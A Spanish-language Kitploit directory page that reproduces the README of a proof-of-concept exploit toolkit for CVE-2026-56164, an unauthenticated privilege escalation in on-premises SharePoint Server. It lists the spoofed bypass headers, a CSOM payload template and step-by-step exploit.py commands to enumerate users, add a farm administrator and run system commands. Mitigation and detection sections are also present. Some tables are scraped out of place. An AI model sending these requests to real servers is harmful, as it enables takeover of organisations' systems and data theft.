Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2026-56164-exploit — CVE-2026-56164 es una vulnerabilidad crítica de autenticación faltante que afecta a Microsoft SharePoint Server local. Permite a atacantes remotos no autenticados elevar privilegios a través de una red. | Kitploit
Herramientas/GitHubGitHub/sam00/poc-cve-2026-56164-exploit
Autenticación y AutorizaciónEscalada de PrivilegiosEscáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubsam00/poc-cve-2026-56164-exploit

POC-CVE-2026-56164-exploit

CVE-2026-56164 es una vulnerabilidad crítica de autenticación faltante que afecta a Microsoft SharePoint Server local. Permite a atacantes remotos no autenticados elevar privilegios a través de una red.

Ver Repositorio
25hace 1 mesAún no revisado
Compartir

CVE-2026-56164 — Exploit de omisión de autenticación en Microsoft SharePoint Server

Crítico (CVSS 9.8) — Escalada de privilegios no autenticada a Administrador de granja en Microsoft SharePoint Server

Tabla de contenidos

  • Descripción general
  • Detalles de la vulnerabilidad
  • Versiones afectadas
  • Diagramas de arquitectura
  • Estructura del proyecto
  • Instalación
  • Uso del escáner — Paso a paso
  • Uso del exploit — Paso a paso
  • Diseño del payload
  • Mitigación
  • Aviso legal

Descripción general

CVE-2026-56164 es una vulnerabilidad crítica de autenticación faltante en Microsoft SharePoint Server que permite a un atacante remoto no autenticado elevar privilegios al nivel de Administrador de granja. La vulnerabilidad reside en el ensamblado Microsoft.Office.Server.UserProfiles, que procesa solicitudes SOAP en /_vti_bin/client.svc/ProcessQuery.

Al omitir intencionadamente la cabecera X-RequestDigest y proporcionar cabeceras de enrutamiento específicas, el servidor vulnerable recurre a un contexto de seguridad elevado en lugar de rechazar la solicitud no autenticada. Esto permite a atacantes anónimos enumerar colecciones de sitios, usuarios, configuración de la granja, añadir administradores y ejecutar comandos.

CISA KEV: Esta vulnerabilidad está incluida en el Catálogo de Vulnerabilidades Explotadas Conocidas de CISA debido a explotación activa en el mundo real.


Detalles de la vulnerabilidad

Causa raíz

El controlador Microsoft.Office.Server.UserProfiles procesa solicitudes SOAP en /_vti_bin/client.svc/ProcessQuery. En condiciones normales, SharePoint valida la cabecera X-RequestDigest para confirmar el contexto de autenticación. Sin embargo, existe una omisión de validación:

  1. Si X-RequestDigest está ausente Y están presentes cabeceras de enrutamiento específicas
  2. El sistema evalúa los parámetros de enrutamiento y recurre a un estado predeterminado altamente privilegiado
  3. La solicitud se procesa con credenciales a nivel de sistema en lugar del contexto de seguridad del autor de la llamada

Ruta de código vulnerable

root@kitploit:~
// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
    // Bypasses standard identity validation → elevated admin session
    InitializeElevatedSecurityContext(context);
} else {
    ValidateRequestDigest(digest);  // Normal path
}

Código corregido

root@kitploit:~
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
    context.Response.StatusCode = 401;
    throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);

Referencias de avisos

  • MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-56164
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164

Versiones afectadas

ProductoVersiones afectadasVersión corregida
SharePoint Enterprise Server 2016Todas las 16.0.x anteriores al parche16.0.5561.1001
SharePoint Server 2019Todas las 16.0.x anteriores al parche

No afectado: SharePoint Online (Microsoft 365)


Diagramas de arquitectura

Arquitectura del sistema

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                   CVE-2026-56164 Exploit Toolkit                     │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐     ┌─────────────────┐     ┌────────────────────┐  │
│  │  scan.py   │────▶│  HTTP Fingerprint│     │  payload_gen.py    │  │
│  │  Scanner   │     │  + Version Check │     │                    │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ CSOM Payloads│  │  │
│         │  Reports:                         │  │ (detection,  │  │  │
│         │  • SharePoint detected?           │  │  enum,       │  │  │
│         │  • Server version                 │  │  elevate,    │  │  │
│         │  • Vulnerable?                    │  │  execute)    │  │  │
│         │  • Auth bypass confirmed?         │  └──────────────┘  │  │
│         ▼                                   │  ┌──────────────┐  │  │
│  ┌────────────┐     ┌─────────────────┐     │  │ SOAP Payloads│  │  │
│  │ exploit.py │────▶│  HTTP Request   │     │  │ (admin, exec)│  │  │
│  │  Exploit   │     │  Delivery       │     │  └──────────────┘  │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ Bypass       │  │  │
│         │  ┌──────────────────────┐         │  │ Headers      │  │  │
│         ├─▶│ MODE: detect         │         │  │ (routing)    │  │  │
│         │  │ Safe, non-intrusive  │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         │  ┌──────────────┐  │  │
│         │  ┌──────────────────────┐         │  │ HTTP Request │  │  │
│         ├─▶│ MODE: enumerate      │         │  │ Builder      │  │  │
│         │  │ Sites, users, config │         │  └──────────────┘  │  │
│         │  └──────────────────────┘         └────────────────────┘  │
│         │  ┌──────────────────────┐                                 │
│         ├─▶│ MODE: elevate        │     ┌──────────────────────┐    │
│         │  │ Add site/farm admin  │     │ Target SharePoint    │    │
│         │  └──────────────────────┘     │ /_vti_bin/client.svc │    │
│         │  ┌──────────────────────┐     │ /_vti_bin/SPAdmin    │    │
│         └─▶│ MODE: execute        │     └──────────────────────┘    │
│            │ System commands      │                                 │
│            └──────────────────────┘                                 │
│         │  ┌──────────────────────┐                                 │
│         └─▶│ MODE: full           │  detect→enum→elevate→execute    │
│            └──────────────────────┘                                 │
└─────────────────────────────────────────────────────────────────────┘

Flujo del escáner

root@kitploit:~
┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip       │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443)           │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ SharePoint       │──────────▶│ Not SP      │
│ fingerprint?     │            └─────────────┘
│ (MSST header,    │
│  _vti_bin,       │
│  suitebar, etc.) │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract version  │
│ from MSST header │
│ / response body  │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Test auth bypass │
│ (CSOM req w/o    │
│  digest + bypass │
│  headers)        │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Bypass status  │
│ • SSL cert info  │
└──────────────────┘

Flujo del exploit (cadena completa)

root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  FULL EXPLOIT CHAIN                                              │
│                                                                  │
│  1. Detect — Authentication Bypass                               │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/client.svc/ProcessQuery                  │   │
│  │  [NO X-RequestDigest]                                    │   │
│  │  X-SharePoint-Authenticated: 1                           │   │
│  │  X-SP-RequestRights: FullControl                         │   │
│  │  SPHomeBearerHint: farmadmin                             │   │
│  │  Body: CSOM detection payload                            │   │
│  │                                                          │   │
│  │  → If 200: AUTH BYPASS CONFIRMED                         │   │
│  │  → If 401: Not vulnerable                                │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  2. Enumerate            ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Enumerate site collections (URL, owner, status)         │   │
│  │  Enumerate users (account, display name, email, admin)   │   │
│  │  Retrieve farm config (DB name, server, farm ID)         │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  3. Elevate             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  SetIsSiteAdmin(true) → Current context = Site Admin     │   │
│  │  AddUserToWeb → Add specific user as Farm Administrator   │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  4. Execute             ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  POST /_vti_bin/SharePointAdmin.asmx                     │   │
│  │  Body: ExecuteCommand SOAP payload                       │   │
│  │  → System command executed with farm-level privileges    │   │
│  └──────────────────────────────────────────────────────────┘   │
└──────────────────────────────────────────────────────────────────┘

Estructura del proyecto

root@kitploit:~
POC-CVE-2026-56164-exploit/
├── payload_gen.py      # Payload generation (CSOM, SOAP, bypass headers)
├── scan.py             # Vulnerability scanner (SharePoint detection + version check)
├── exploit.py          # Exploit orchestrator (detect/enumerate/elevate/execute/full)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Instalación

root@kitploit:~
# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit

# Install dependencies
pip3 install -r requirements.txt

Requisitos: Python 3.8+, librería requests (opcional — se usa urllib de la biblioteca estándar por defecto).


Uso del escáner — Paso a paso

El escáner realiza comprobaciones seguras y no intrusivas para identificar objetivos SharePoint Server vulnerables.

Paso 1: Escanear un único objetivo

root@kitploit:~
python3 scan.py --target sharepoint.example.com

El escáner:

  • Sondeará los puertos comunes (443, 80, 8080, 8443)
  • Enviará solicitudes HTTP y comprobará las huellas de SharePoint (cabeceras, contenido del cuerpo)
  • Extraerá la versión de SharePoint de la cabecera MicrosoftSharePointTeamServices
  • Comprobará si la versión se encuentra dentro de los rangos vulnerables
  • Probará la omisión de autenticación (opcional)
  • Imprimirá un informe con códigos de color

Paso 2: Escanear con un puerto específico

root@kitploit:~
python3 scan.py --target sharepoint.example.com --port 443

Paso 3: Escanear múltiples objetivos desde un archivo

Cree un archivo targets.txt:

root@kitploit:~
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
root@kitploit:~
python3 scan.py --targets targets.txt

Paso 4: Omitir la prueba de bypass (solo huella)

root@kitploit:~
python3 scan.py --target sharepoint.example.com --no-bypass-test

Paso 5: Guardar los resultados como JSON

root@kitploit:~
python3 scan.py --target sharepoint.example.com --json scan_results.json

Qué detecta el escáner


Uso del exploit — Paso a paso

El exploit admite cinco modos de intensidad creciente.

Modo 1: Detectar (seguro, no intrusivo)

Prueba la omisión de autenticación comparando una solicitud normal (con digest) con una solicitud de bypass (sin digest + cabeceras de enrutamiento).

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode detect

Modo 2: Enumerar (divulgación de información)

Extrae colecciones de sitios, usuarios y configuración de la granja mediante la omisión de autenticación.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode enumerate

Modo 3: Elevar (escalada de privilegios)

Eleva el contexto anónimo actual o un usuario específico a Administrador de Colección de Sitios / de Granja.

root@kitploit:~
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate

# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"

Modo 4: Ejecutar (ejecución de comandos)

Ejecuta un comando del sistema a través del servicio SOAP de Administración de SharePoint.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"

Modo 5: Cadena completa (Detectar → Enumerar → Elevar → Ejecutar)

Ejecuta la cadena de explotación completa en secuencia.

root@kitploit:~
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"

Opciones comunes

  • --port / -p: Puerto del objetivo (por defecto: 443)
  • --http: Usar HTTP en lugar de HTTPS
  • --site-url / -s: URL del sitio de SharePoint (por defecto: objetivo)
  • --json / -j: Guardar el informe como JSON
  • --timeout: Tiempo de espera de la solicitud en segundos (por defecto: 30)

Diseño del payload

Mecanismo de omisión de autenticación

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  HTTP Request to /_vti_bin/client.svc/ProcessQuery             │
├─────────────────────────────────────────────────────────────────┤
│  POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1              │
│  Host: sharepoint.example.com                                  │
│  Content-Type: text/xml; charset=utf-8                         │
│  [X-RequestDigest: OMITTED]                                    │
│  X-SharePoint-Authenticated: 1                                 │
│  X-SP-RequestRights: FullControl                               │
│  X-SP-RequestRights2: ManageLists, ManageWeb                   │
│  SPHomeBearerHint: farmadmin                                   │
│  X-RequestForceAuthentication: false                           │
│  X-SP-Proxy: internal                                          │
│  X-Forwarded-For: 127.0.0.1                                    │
│  X-Original-URL: /_vti_bin/client.svc/ProcessQuery             │
│                                                                 │
│  [CSOM/SOAP Payload Body]                                      │
└─────────────────────────────────────────────────────────────────┘
         │
         ▼
┌─────────────────────────────────────────────────────────────────┐
│  Vulnerable SharePoint Server                                   │
│                                                                 │
│  1. digest = Headers["X-RequestDigest"]  → NULL                │
│  2. CheckSpecialRoutingHeaders(context)  → TRUE (≥3 headers)   │
│  3. InitializeElevatedSecurityContext()  → FARM ADMIN          │
│  4. Process SOAP request with system-level credentials          │
└─────────────────────────────────────────────────────────────────┘

Estructura del payload CSOM

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"
         ApplicationName="SharePointExploit"
         LibraryVersion="16.0.0"
         RequestId="{UUID}">
  <Actions>
    [Detection / Enumeration / Elevation actions]
  </Actions>
  <Context>
    <ContextId>Current</ContextId>
    <Version>16.0.0</Version>
    <SiteUrl>{TARGET}</SiteUrl>
  </Context>
</Request>

Cabeceras de enrutamiento de bypass


Mitigación

Acciones inmediatas

  1. Aplique las actualizaciones de seguridad de Microsoft — Instale los parches de SharePoint de julio de 2026
  2. Restrinja el acceso — Limite los puntos de conexión de SharePoint solo a redes de confianza
  3. Bloquee el acceso externo a los puntos de conexión de /_vti_bin/ mediante reglas de proxy inverso/WAF
  4. Supervise los registros para detectar solicitudes no autenticadas a /_vti_bin/client.svc/ProcessQuery

Versiones corregidas

  • SharePoint Enterprise Server 2016: 16.0.5561.1001+
  • SharePoint Server 2019: 16.0.10417.20175+
  • SharePoint Server Subscription Edition: 16.0.19725.20434+

Detección

  • Busque solicitudes POST a /_vti_bin/client.svc/ProcessQuery sin la cabecera X-RequestDigest
  • Busque solicitudes con múltiples cabeceras de enrutamiento de bypass (X-SharePoint-Authenticated, SPHomeBearerHint, etc.)
  • Supervise las adiciones inesperadas de Administradores de Colección de Sitios
  • Alerte sobre solicitudes SOAP a /_vti_bin/SharePointAdmin.asmx procedentes de fuentes no autenticadas

Aviso legal

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo contra sistemas que posea o para los que tenga permiso escrito explícito para probar. El uso no autorizado contra sistemas de producción es ilegal y puede violar las leyes de fraude y abuso informático.

Los autores no asumen ninguna responsabilidad por el mal uso de esta herramienta. Siga siempre prácticas de divulgación responsable y cumpla con las leyes y regulaciones aplicables.

Descargar herramienta
CampoValor
CVE IDCVE-2026-56164
GravedadCRÍTICA
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-306: Missing Authentication for Critical Function
ImpactoEscalada de privilegios no autenticada a Administrador de granja
Estado de explotaciónExplotación activa (CISA KEV)
MITRE ATT&CKT1190 (Exploit Public-Facing Application)
16.0.10417.20175
SharePoint Server Subscription EditionTodas las 16.0.x anteriores al parche16.0.19725.20434
IndicadorMétodo
Servidor SharePointHuella de cabeceras HTTP (MicrosoftSharePointTeamServices, SPRequestGuid)
Versión del servidorAnálisis de cabeceras + expresión regular del cuerpo de la respuesta
Versión vulnerableComparación con las versiones corregidas de CVE-2026-56164
Omisión de autenticaciónSolicitud CSOM sin X-RequestDigest + cabeceras de enrutamiento de bypass
Certificado SSLAsunto/emisor del certificado para la identificación del objetivo
CabeceraValorPropósito
X-SharePoint-Authenticated1Indicar que la autenticación ya se superó
X-SP-RequestRightsFullControlSolicitar permisos de control total
X-SP-RequestRights2ManageLists, ManageWebDerechos de administración adicionales
SPHomeBearerHintfarmadminIndicar un contexto de administrador de granja
X-RequestForceAuthenticationfalseDeshabilitar la autenticación forzada
X-SP-ProxyinternalIndicar un origen de proxy interno
X-Forwarded-For127.0.0.1Suplantar el origen local
X-Original-URL/_vti_bin/client.svc/ProcessQueryDirectiva de enrutamiento